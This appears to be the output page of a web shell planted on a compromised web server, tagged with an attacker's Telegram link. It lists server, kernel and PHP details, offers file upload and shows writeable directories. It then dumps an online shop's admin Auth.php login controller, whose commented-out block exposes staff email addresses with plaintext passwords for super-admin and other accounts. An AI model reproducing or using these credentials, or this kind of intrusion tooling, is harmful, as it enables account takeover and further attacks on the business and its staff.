https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /proc/self/root/var/www/laciasmara.com/public_html/shop/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/laciasmara.com/public_html/shop/application/controllers/admin/Auth.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Auth extends Admin_Controller
{
    function __construct()
    {
        parent::__construct();
        $this->load->helper('form');
    }

    public function login()
    {
        $this->load->model('User_m');

        // Data pengguna
        // $users = [
        //     [
        //         'name' => 'Admin',
        //         'email' => 'it.laciasmara@gmail.com',
        //         'password' => password_hash('Asmara72!', PASSWORD_BCRYPT),
        //         'role' => 'super_admin',
        //         'status' => 'active'
        //     ],
        //     [
        //         'name' => 'IT',
        //         'email' => 'it@angsana-asmara.com',
        //         'password' => password_hash('Asmara72', PASSWORD_BCRYPT),
        //         'role' => 'super_admin',
        //         'status' => 'active'
        //     ],
        //     [
        //         'name' => 'Marketing',
        //         'email' => 'mp@angsana-asmara.com',
        //         'password' => password_hash('Asmara72', PASSWORD_BCRYPT),
        //         'role' => 'marketing',
        //         'status' => 'active'
        //     ],
        //     [
        //         'name' => 'Finance',
        //         'email' => 'shinta@angsana-asmara.com',
        //         'password' => password_hash('Asmara72', PASSWORD_BCRYPT),
        //         'role' => 'finance',
        //         'status' => 'active'
        //     ],
        //     [
        //         'name' => 'Gudang',
        //         'email' => 'gudang@angsana-asmara.com',
        //         'password' => password_hash('Asmara72', PASSWORD_BCRYPT),
        //         'role' => 'gudang',
        //         'status' => 'active'
        //     ],
        //     [
        //         'name' => 'GSA',
        //         'email' => 'kunci@laciasmara.com',
        //         'password' => password_hash('Asmara72', PASSWORD_BCRYPT),
        //         'role' => 'gsa',
        //         'status' => 'active'
        //     ],
        //     [
        //         'name' => 'Susan',
        //         'email' => 'susanti@angsana-asmara.com',
        //         'password' => password_hash('Asmara72', PASSWORD_BCRYPT),
        //         'role' => 'super_admin',
        //         'status' => 'active'
        //     ]
        // ];

        // // Insert user jika belum ada
        // foreach ($users as $user) {
        //     $existing_user = $this->User_m->get_user_by_email($user['email']);
        //     if (!$existing_user) {
        //         $this->db->insert('admin_users', $user);
        //     }
        // }
        // Load halaman login
        $this->load->view('admin_new/auth/login');
    }

    public function login_process()
    {
        $this->load->model('User_m');

        $email = $this->input->post('email');
        $password = $this->input->post('password');

        $user = $this->User_m->get_user_by_email($email);

        if ($user && password_verify($password, $user->password)) {
            // Simpan semua data user ke session
            $userdata = [
                'admin_logged_in' => true,
                'user_id' => $user->id,
                'name' => $user->name,
                'email' => $user->email,
                'role' => $user->role,
                'status' => $user->status
            ];
            $this->session->set_userdata($userdata);

            redirect('admin/dashboard');
        } else {
            $this->session->set_flashdata('error', 'Email atau password salah.');
            redirect('admin/auth/login');
        }
    }

    public function logout()
    {
        $this->session->unset_userdata('admin_logged_in');
        redirect('admin/auth/login');
    }
}

https://t.me/RX1948 - 2025